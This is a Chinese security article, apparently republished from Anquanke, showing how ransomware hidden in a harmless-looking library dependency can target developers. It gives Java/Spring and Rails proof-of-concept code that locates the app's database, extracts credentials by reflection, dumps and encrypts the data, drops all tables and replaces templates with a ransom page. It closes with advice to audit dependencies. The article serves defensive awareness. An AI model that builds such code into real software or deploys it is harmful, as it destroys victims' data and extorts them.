基于程序库的勒索软件—瞄准开发人员

当前,勒索软件已经成为一种日益严重的威胁。例如,最近人们发现了一种称为“Locky”的勒索软件正在通过Facebook Messenger大肆传播,而上周末,旧金山的地铁系统则遭到了勒索软件的入侵。今天,我们将深入了解勒索软件如何瞄准开发人员,通过依赖库进行传播。

可疑的依赖库

那为什么要瞄准开发人员呢?要知道,他们通常更加技术精湛,并且很少安装可疑程序的。很明显,相对于绑架家用计算机来说,攻击开发者的机器的收益可能会更大,因为攻击者这样做的话,有可能控制一连串的生产环境中的系统。只要绑架的系统越多越有价值,移动勒索软件开发者就可以勒索更多的赎金。

这种勒索软件可以包含在无害的依赖库中。下面通过一个具体的例子来介绍它的工作原理。虽然这里使用的是基于Java(Spring)和Ruby(Rails)的示例,但是这些技术同样适用于其他语言和框架。

下面,让我们从一个使用MySQL的Spring MVC应用程序为例进行介绍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- pom.xml -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.9</version>
</dependency>
 
# persistence-mysql.properties
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/dbransom
dataSource.username=root
dataSource.password=password
 
hibernate.dialect=org.hibernate.dialect.MySQLDialect
hibernate.hbm2ddl.auto=create

此外,我们还将包括一个可疑的依赖库:

1
2
3
4
5
6
<!-- pom.xml -->
<dependency>
    <groupId>org.evil</groupId>
    <artifactId>evil-utils</artifactId>
    <version>1.0</version>
</dependency>

它提供了一个供外部调用的EvilUtils.padLeft方法,它将作为Web服务的一部分被调用。

 

反射

攻击者一旦在应用中植入了恶意软件包,那基本上就可以为所欲为了。从某种程度上来说,这相当于在应用程序的环境中获得了远程代码执行能力,从安全的角度来说,这通常是灾难性的。

为了获得赎金,攻击者需要绑架一个足够重要的目标。在这里数据库是个不错的目标坐标,因为这是一个Spring应用程序,攻击者可以很容易找到它——只要获得Spring应用程序的上下文并定位正确的bean即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class EvilUtils {
  // Access the Spring context
  @Autowired
  private WebApplicationContext ctx;
 
  EvilUtils() {
    SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
  }
 
  DataSource getDataSource() {
    DataSource ds = null;
    try {
      ds = (DataSource) ctx.getBean("dataSource");
      return new JdbcTemplate(ds);
    } catch (NoSuchBeanDefinitionException e) {}
    // ...
  }
 
  public String padLeft(String s) {
    return " " + s;
  }
}

如果这行不通的话,我们可以访问类加载器,并寻找一个具有返回某种DataSource的方法的类即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for (Class<?> klass : loadedClasses()) {
  Method[] methods = klass.getMethods();
 
  for (Method m : methods) {
    if (m.getReturnType() != DataSource.class) {
      continue;
    }
 
    // We've found a target!
    m.setAccessible(true);
    for (Constructor ctor : klass.getDeclaredConstructors()) {
      // Instantiate the target bean and autowire its dependencies
      if (ctor.getGenericParameterTypes().length == 0) {
        ctor.setAccessible(true);
        Object instance = ctor.newInstance();
        SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance);
        beanFactory.autowireBean(instance);
        ds = (DataSource) m.invoke(instance);
      }
    }
 
    if (ds != null) {
      return ds;
    }
  }
}

进行反射,这样攻击者就可以通过它来获取数据库连接的各种细节了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.mysql.jdbc.ConnectionImpl;
 
void getConnectionInfo() {
  Field f;
 
  f = ConnectionImpl.class.getDeclaredField("user");
  f.setAccessible(true);
  String username = (String) f.get(conn);
 
  f = ConnectionImpl.class.getDeclaredField("password");
  f.setAccessible(true);
  String password = (String) f.get(conn);
 
  f = ConnectionImpl.class.getDeclaredField("host");
  f.setAccessible(true);
  String host = (String) f.get(conn);
 
  f = ConnectionImpl.class.getDeclaredField("database");
  f.setAccessible(true);
  String database = (String) f.get(conn);
 
  // ...
}

然后,我们可以使用这里的凭证来创建一个新的连接来访问数据库。

下一步是设法让受害者无法访问数据。就目前来说,我们可以使用各种各样的方式来做到这一点;其中最简单的方法是将数据库内容转储到一个文件中,加密文件,然后删除所有数据表。

 

PWN3D

攻击者最后一步是确保受害者知道他们已经被“绑架”了,同时提供收款用的比特币地址。攻击者可以找到他们的模板文件,加密它们,然后用一个有趣的消息来替换它们。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void gloat() {
  // Locate web resources
  File f = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  String path = f.getPath();
  int indx = path.indexOf("/WEB-INF/lib/");
  path = path.substring(0, indx + 9) + "views";
 
  // Replace them with our custom views
  for (File template : getFilesFromPath(path)) {
    if (template.getName().endsWith(".jsp")) {
      encryptAndMove(template);
      moveResource("pwned.jsp", template.getPath());
    }
  }
}

http://p0.qhimg.com/t01cbf1bd5c7da8ad51.png

很明显,攻击者是不希望加密密钥出现在恶意库本身中的,因为这将使其易受逆向工程的影响。不过这不是个大问题,因为可以使用公钥加密技术,即使暴露一个密钥,受害者也无计可施。

这里介绍的技术还可以进一步优化,例如只在生产系统上面触发漏洞,或者添加一种方式来远程触发它。

Rails

这个攻击手法的Rails版本要简单得多:我们只需从ActiveRecord :: Base.connection_config [:password]获取密码即可。这里是一个使用SQLite的完整漏洞的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def delete_db
  conn = ActiveRecord::Base.connection
 
  if conn.adapter_name.eql? 'SQLite'
    sqliteDb = ActiveRecord::Base.connection_config[:database]
    puts `sqlite3 #{sqliteDb} .dump > dump.sql;`
 
    # Encrypt file
    file_path = `pwd`
    encrypt_file(file_path.chop, 'dump.sql')
 
    # Delete dump
    FileUtils.rm_r "#{file_path.chop}/dump.sql"
 
    # Drop all tables
    conn.data_sources.each do |table_name|
      conn.drop_table(table_name)
    end
end

由于通过程序库访问数据库是一种正常的用法,所以很难区分哪些是恶意访问,哪些是无害访问。

一般来说,动态语言在这方面要更加脆弱,因为对它们进行静态分析的难度更大,并且在运行时违反封装和做事情的障碍通常更少。

攻击向量

我们提出的具体例子可能看起来有点勉强——它要求许多东西以特定的方式精确发生才能奏效。但是,它确实是可能发生的。 有人可能会说,让开发者依赖可疑的软件包是很困难的;但是事实却是——这容易得吓人。

即使对于包管理器来说,Typosquatting攻击也是一个非常让人头疼的事情。更何况,即使是最愚蠢的技术也常常能够让许多人上当;有时候,攻击者会发布一个软件的二进制版本,虽然声称是从正规渠道的源代码构建的,但是背地里却放入了蠕虫……当然,对于那些本身就有安全漏洞的包管理器来说,根本就无需依赖于社会工程了。此外,还存在更多的创造性的方法可以用来散布恶意软件包。

结束语

在使用第三方代码的依赖库时,会面临许多固有的风险。所以要对它们进行相应的安全审计,以防着了隐藏在它们中间的勒索软件的道。

来源:安全客

上一篇:Mirai变种中的DGA

下一篇:Facebook聊天记录窃取漏洞分析